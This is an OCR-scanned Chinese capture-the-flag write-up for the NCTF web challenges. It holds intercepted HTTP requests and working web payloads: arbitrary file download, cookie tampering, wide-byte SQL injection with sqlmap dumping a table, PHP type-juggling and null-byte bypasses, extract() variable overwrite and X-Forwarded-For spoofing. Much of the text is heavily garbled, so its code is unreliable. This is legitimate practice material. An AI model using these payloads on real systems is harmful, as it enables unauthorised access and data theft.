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< > |. Follow redirection | Target: httpe/fc

Cancel

Host: chinalpver.sinaapp.com

User-Agenc: zilla/5.0 (Windows NT 5.1: rv:50.0) Gecko/20100101 Firetfox/50
Accepr: cext/NEml,applicacion/xhoml+xml, application/xml; q=0.5, "/ "*;q=0.8
Accepr-Languags: zh-CM, zh:q=0.8,en-US:g=0.5,2n;:q=0.3

Accepr-Encoding? gzip, deflace

Referer: hoop://chinalover.sinaapp.com/ webs/

Connection: kesp-alive

Upgrade- Insecure-Regquescs: 1

HTTP/Ll.1l 302 Found
Server: sas

Dace: Sat, 04 Feb 2017 13:50:08 G
Content~-Type: text/html
Content-Length: 0O
Conne
flag:| netfithis is 302 redicect)
Location: http://chinalover.sinaapp.com/web8/no key is here forever.php
Via: 1514€
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3 <haal zalne="httpe ffvew, vk oegd 1000 cheal "
4 <hasd»

S imets httpesquiv="Content=Type” comtent="tewt/hanl: charset=utf=-8" />
B dtitleGane 190 Titler

T odlink hret="gemmlatens gtwle, g9a” rel="styleshser” type="vewtsoss” f3
8 Uhesd>

9| thody>

10 fdiv id="teaplatens container
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GET /webé/HSVRICAT. PATur 1 =EGIT

heeepr: text/heml, appiication/xhtml+xml, applicl ion/xml: q=0.9, */ *;q=0.8
Aecepr-Language: zh-CHAgh: q=0.8,en-U5;q=0.5, =n; §=0.3

Accepr-Encoding: gzip, Tiace

Feterer: http://vay.nuptz].cn/wvebé/

Connection: keep-alive

Upgz ade-Insscuce-Raquests: L

Z B BATR FHbase64 Xt Hi 4T i«

|mx BASER

singeingdiandeng mpd m #GhT IhpbendicaWFudGVuZiySic D]

e b,

BEH AT AKELS, R RA1EE S —/4——download.php)fifE Bt % 3] FHEELKL R, XAEEKE
Bi“Download~! ", FfLARRATAT LAXt“download.php”i#iTbase64 N, 2 a5kl #% K URLERAR f H 5 5
download.phpiXx ANURLEE 1% :

2k BASESRd

download php __w ZGHIbme W uc G

4 BASERIN B

Z A

Request to hitp:/fway. nuptzj.cn80 [45.78.17 254]
| Foward || Drop | | Interceptison | | Action Commant 1,

GET /webé/download. php?ur 19 2683bmuvY¥oucGhe [HTTP/ 1.1
Host: way.nuptzj.cn
User-Agent: Mozilla/S5.0 (Windows NT 5.1; TWg50.0) Gecko/20100101 Firefox/50.0
Accepr: text/html,applicacion/xhemlixml, appMcacion/xml:gq=0.8, */ " q=0.8
Accepr-Language: zh-CM, zh:q=0.8,en-U5;¢q=0.5,2
Accepr-Encoding: gzip, deflate

Referer: hoop://way.nupcz).cn/webe/
Connection: kesp-alive
Upgrade-Insecure-Requescs: L

Z R

IEFET 7 download. php
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TTLYphp

error_reporting (o))
inclode(“hereiskey.php);
Surl=baseds_d url]l;z

11 Sr1===tuxlangzhangts g3 || Surl=="zingxinguiandeng.npa~ |1 $url===Humloan. php-H
4File_size ilesize(furl); =%

header | i public™ );
hieader ntrol: must-revalidate, post-checks=0, pre-check=@" };
header { “Cache-Bgntrol: private”, false )

]
¢
header [ “Content-Sgansfer-Encoding:
!
{

bipary®” )i
e sder Content-T) caudiofnpeg WPET);
header { “Content-Length: ™ . SFile_size);

header { “Content-Dispesition: attachment; Filemane=".furl);
echo(File_get_content={$url));
exik;

1
else {
wcho “Rccess Forbiddent™;

BEB IR R E R Kflag, (BREKILT 55— hereiskey.php” X AN, BB A [F R 0 7 V5 L 8R4

3 BASER

hereiskey phel w aGVyIWlzaZVilnBocA==

Request to hitp:fway. nuptzj.cni80 [45.78.17.254]
| Forward | | Drop | | Interceptison | | Action | Comment this fe

Headers | Hex

GET fwebE/download.php?ur l-ﬂG\f‘yzﬂ'lza:USLn.Boci--l HTTPF/1.1

WHost: way.nuptzi.cn
Ugser-Agent: Mozilla/S.0 (Windowa NT
Accept: text/html, application/xhtml+x
Accepe-Language: zh-CN, zh:q=0.8,en-US;
hocept=-Encoding: gzip, deflace
Referer: http:// wvay.nuptzj.cnf/wvebhé/
CoOnnaction: kKesp-alive
Upgrade-Insscura-Fequescs: 1

1; rv:50.0) Gecko /20100101 Firsfox/50.0
applicacion/xml:q=0.9, */*:q=0.8
0.5, en;q=0.3

BB
RIVRRA —php3C

[ Ensble Fest data [] Enable Befarver

T H hereiskey. php

Fil: hetpSiway mupta].
ST Firefox MOMMMIPHITMET
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ATiEAFEER [ LU BEhR AR ER BHZ . &)

TERIFITIF:

P hereiskey.php - iof4&

THE REE BRQ FEW W
<{%php
A/Flag:nctf{download_any_File_666}

kit \
K 2lflag!
flag:nctf{download_any file 666}
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COOKIER B SHHATEE -
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Request to http:#chinalover sinaapp.com:80 [220.181.136.27)

| Fowad ||  Drop | [Interceptizon | | Action |

Jm] Farams IHeadars Wi

SET /well0/index.php HTTP/Ll.1

Host: chinalover.Sinaapp.com

Userp-Agent: Mozilla/5.0 (Vindows NT 5.1; v:i50.0) Gecke/I0L0010L Firefox/S50.0
Accept: text/html,application/xhtml+xml, application/xml;:g=0.9,*/*:q=0.8
Akccept-Language: zh-CH, zh:q=0.8,&n-US;¢=0.5,&n:q=0.3

Accept-Encoding: gzip, deflate

Referer: http://ctf.nuptsast.com/challenges

Cookis: Leogin=0

:omec%
Upgtade-Insecuce-Request ey

EIRG A cookie, MATMNTLAIENOZ Nyesth i 2 T ERORNE MR IEE. BB 1R LA
B BAMRMER% 0" 51"k, BT AT B8R AE:

Request to hitp:/chinalover sinaapp.com:B0 [220.181.136.27]
E Forward J [ Drop J | Intercept is on [ Action I
ml Params |deals I Hex

FET /webl0D/index.php HTTF/1.1

Host: chinalover.sinaapp.com

User-Agent: Mozilla/5.0 (VWindows NT 5.1; rv:50.0) Gecke/20100101 Fir
Accept: text/html,application/xhtml+xml, application/xml;g=0.8,*/*;qg=I
Accept-Language: zh-CH, zh;q=0.8,en-US;¢q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://ctf.nuptsast.com/challenges

cookie: Login=l
connection: keep
Upgrade-Insecure-Fequests:

ZJERSE, HHEFRMRK:

Frocqait 32 hitp Ml ruptaaat com B 12442 137 B8] T
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Do you know robots. txt?

HEA B, BAITLEE T Crobots.txXtBEFE R BB RBKER (£ TF A& robots.txtfiF H 1T
Baidu)

@L‘ & O O - ] http://chinaloversinaapp.com/web11/robots.txt
" | -
O~ L | | |

BIAFL £lag TR BT HHNAERER T?
FECTFELFE d» - HHEEFMERETER

TIF: aql.php

<?php
if ($_GET[id]) |
myzql_commect (SAE_MYSQL_HOST M . 7.7 . SAE_MYSQL_PORT, SAE MYSQL_USER, SAE_MY¥SQL_PASS)
mysql_select_db (SAE _MYSQL_DE) ;
$id = intval(§ GET[id]):
fquery = @my=ql_fetch_arrayimysql_query(“"=select content from ctf2 where id="$id ")) ;
1f ($_GET[1d]==1024) {
echo “<prno! try againd/pr";
1
else|
echo ($querv[content]) ;

£ 3% sql.php. 1D=1024 . intval($_GET[id])

BT A, &EUH“/sql.php?id=1024.x"X 47 B %, BAK “x" LR EfTIE0RHE (B Nintval i %
R (D

=
1
Q
J
Q

http://chinalover.sinaapp.com/web11/sql.php?id=1024.9

O g

the flag is:nctf {querv_in mysall

BHERK: BERRAEENMER Xrobots.txti) 7% PHPREET)EE & 5 M #
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v o 9- t“tt[:-:,.-"',.-"'china|over.sinaapp.com,.-"'SCgL-_GE’:-K_.—-"'ircle:x:.pl“ p2id=1

El

vour sqliselect id, title from news where id = "1
Hello World!OWO

ZEBETDARXE MR EA

B E -
‘: : « 9O http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d %27
¥ _
' - \ sQl
. http://chinalover.sina
your sql:select id, title from news where id = 138"

¥arning: mysql fetch array() expects parameter 1 to be resource, boolean ziven in SQL-GBE/index.php on line 10

25 M T EsqlmapitfT#—TF -

:~# sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6'" -T ctf4 -C flag --dump

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is
the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[#] starting at 21:23:30

[21:23:30] [WARNING] it appears that you have provided tainted parameter values ('id=1%d6'') with most lik
ely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter v

alues so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y

in the HTTP r ch d- Erterfere/ fiith ine




Database: sae-chinalover
Table: ctf4
[1 entry]

|
+

[*] shutting down at 21:28:

BEHEZENR: BFEWIEA
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view-source:

if (isset ($_GET[ nctf 1)) idimm - B TE
if (@ereg (" [1-814%", $_GET[ nctf ]) === FALSE) NCTF
echo "R AREFT"
elze if (stepos (§_GET['noctf’), "#biubiubiu’) !== FALSE)
die("Flag: ".5flag):
else

echo "5 GHER S5 HIDER™

L3 1ER  Z"#biubiubiu™3

JFRFURLER 42 :

BRATREESE:  nctf]=1XD0000XXK¢biubiubiu

1A B OO H 7T DA BE S 4 N Fo At B 74, 45 SRARFEA AR !
A FH T URLES 42«

2 S

Warsisg: strpos) expects paramen
Flag Sagnctf{use_00_to_pedaan)

™

be sring, meay gves b webd TRl 48660 1453 TEeA TI890bad9845 Vindex php ca e 10

BEEER: AWHEIT PHPREMA

17. bypass again
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http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf%255B%255D=1XXXXXX#biubiubiu

e

if EissetES_G%T['a’]) s.nEd isset($_GET[v" 1))

if ($_GET['a"] != $_GET['v' kN PR

it (paS(3CETL ' ]) === 4 REEANHIEHa
die('Flag: '.3flag); o D

else
print Vrong.’;

M HBa. biE{E
TEeaE

BERfEAa, bEIMDSINEZ REMF

MRYEIX L T RS B BATHT LRI BN ERE — 7 &, (HR2RANBARZX R —MEHphpsi S K3
7%, i BAE phpr Xt B4 K MDSHN % 2 J5 #8 R NULL, Fr BART BLE A AN s R A :

JERATURL

http://chinalover.sinaapp.com/web17/index.php

XF HFAT BB A E S5
http://chinalover.sinaapp.com/web17/index.php?a[]=x&bl[]=y
XEEIX y AU EE S fE !

ZIEHEE:

if (isset($.GET['a’]) and isset($ GETU'B" 1)) {
if ($.GET['a"] '= 3GET['v' 1)

if (mdS(§_GET['a']) === mdS(§_GET['v' 1))
die(’Flag: . §flag);

alze

print "Wrong.';

Flag: netf [php_is_so_cool] |
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http://chinalover.sinaapp.com/web17/index.php

R ¥E &7~ 15 B & F source.php

“iphp
includes | secret. php” )
it
<html>
Chead>
¢titlerThe Ducks<ftitlad
<lank href="hitps: //maxeds, bootstrapedn, coalbootstraps 3, 3. 6fese/boct strap. min, css” rel="ziylesheet” integrity="shadl
1 gBaTTOASKE j | At aSWDVRF 12 1kF{wwEAa BRI 1 pL eguh ) VHE 1 ¢ )¥PGakzsT" crossorigin=" anonymous” »
<zepipt sre="htips:/faaxedn. bootstrapeds, confbootsteapsd, 3, 6 ia bootsteap. Rin. j27 integrity="zhalfd-
InShTHERL alf muBBIFEAEGrprqSOVEWITFRR D JSELqu s o1 y Vot nepaVP 3a] Tx 5™ crossorigin=" anonymous” »{f soripts
<head>
“hodyk
“div elazr="container”?
fdiv clase=" jusbotron™?
[ ERETEEY 1
<hl*The Ducks{ hl>
hphp if (§_SERVER["REQUEST_METHOD"] == "POST™) [ 73
<Tphp
sxtract (§_POST):
if (fpass == §thepassword 123) | T
div claze="alert alert-success™
‘coderTphp echo Stheflag: 7r</code>
S divd
<php | T

~form st wetinnd="POS T
Adiv clazs="row">
ddiv clasg="col-ad=6 col-md-cffset-3"2
£div clare="yow">
<div class="col-nd=0"3
<ipput type="password” class="form-comirel” name="pass” placeholder="Fassword™ />
fdive
{div clase="col-md-3"3
Cinput type="submit” clazs="bin bo-primary” walue="Submit® /»
fdivy
i
4/ davr
fdiv
£ foras
ifcenter?
£ dav
ip»
{centary
source at ¢a href="gource.php” target="_blank”»/source. phpi/a>
4feentexr>
opy
£ divy
</body>
</hinl>

extract)R B KER AN BAP KR EESAB LN SR, ZRBEABARAENTESL, EHGAR
BEEAZER. HHBATHENI TR, BEINFSRPURNMH—IRE.

B FextractitI S EERS_POSTHR2RHFE T ZEB RN R T . £HBurpsuiteBiE RS ¥, 1%
% passflithepassword_123% =% # 2R A fithepassword_123[¥) 1, LA BflagT

BAEWT-
HERBZ 5 R H A burp suit# TR

The Ducks

(50—

source at /fsource. QJI_IE



omment this fem

Params | Headers | Hex

POST fwebl18/ HTTP/1.1
Host: chinaleover.sinaapp.com

User=Agent: Mozilla/5.0 (Windows NT 5.1y ev:50.0) Gecko/I0100101 Firefox/50.0
Aocept: text/html, application/xhtml+xml, application/sml;q=0.9,*/*;q=0.8
Accepr-Language: zh-CH, zh;q=0.8,&n-U5; q=0.5,en;q=0.3

Accept=Encoding: gzip, deflate

Reterer: hetep://chinalover.sinaapp.com/weblB8/ index.php

Connection: kesp-alive

Upgrade-Insecure-Regquests: 1

Content-Type: application/x-¥ww-Lorm-urlencoded

Contenc=Length: 13

pass=Password

Action A Comment Hhs dem E}l &

20ST re fo fweb18/

Type -|.|-ilams .|-Valua | Add

Body \ pass Password ,

Body ' \ thapassword_123 [Password 7] | Remowe
|

Z e FIRawiE R T :

Request to httpe/fichinalover. sinaapp.com:80 [220.181.136.41)

Action Conmar

POST /eblBS HTTP/L.1

Hosc: Fhinalover.sinaapp.com

User-Agent: Mozilla/5.0 (Vindows NT 5.1:; rv:50.0) Gecko/Z0L00L101 Firefox/50.0
hoceprt: text/html, application/xhtml+xml, application/sml:q=0.9, "/ *;q=0.8
heeepr-Language: zh-CH,zh:q=0.8, en-U5;g=0.5,en:q=0.3

hocept-Encoding: gzip, deflate

Reterer: hetp://chinalover.sinaapp.com/vebli/ index.php

Connection: kesp-alive

Upgrade-Insescure-Requesta: L

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

pass=Fassvordithepassvord 123=Pasaword] A—

The Ducks
[ netf (bian liang fu gai!l I

|Password
source at fsource. php

BEHEEM: REEZ
19. PHPRF ERFKES
T e

Can you authenticate to this website? index. txt

ZJEBAVEAE Vi 1H UL T H 5T B 3T #index td>C



<7php

if (eregi{“hackerDT~, $_GET [1d4]}) Smpy e T, S 8= A i i .

e i . M — R IRiE: URLS F&#WhackerD]
axat () :

]
3 _GET[1d4] = wrldecode($_GET[14]};
FL8oerlaal o= TheekarhIT) W — MeBSF: S itURLRESS =

eche “<p>Access granted! {/p>~; S ¥ " hackerD]”. iX {759
----------------- I o<rpnT e

echa “<p>flag:

>

<he>dbr>
Can wou authsnticate to thisz wobzite?

HFRAVMANCETIRZ H R, FiUAHLSLE —RURLGIE, SMINRAER K—R—EEBER, FIURITEE
Xt*hackerDJ” #AT I IRURLGwED, 2 Ja BAEASHET A

{8 P 4BV 81| G B 20 AT G B -

£ W35 CHIWE BY: WSIEE Q0: 3I0M4EGE

£ W 6 (D DY, SR G0 MMI0IMa6E

RS RO R IR A TR 1
i
Lm:mmmscrmma [
| WRLENAS - ) SULIRAS ©
XTI MRS TR D | TR IS RIS IEIITATRIEN || | OnEBO0MO0IE R0
S EIARIARE R RAL OIOOEEO0 TN

‘

ZJEE RS HHATEN

http://way.nuptzj.cn/php/index.php?id=2%2568% #

TR

Access granted!

thag? nctf {php_is best_language]

Can you authenticate to this website? index. txt

BEEER: BT wmDED
20. Ph%HE
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ERFRRAREEHER
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|$EM§%]‘EE§H“'L_.__——‘

HEBIEEEE:
ZIERER AR FEAMER, FBLAMEEBRUERLT . WiniER:k X-Forwarded-For: 127.0.0.1 Bt AJ L& S %
E&FflagT .

JESERBE frE!
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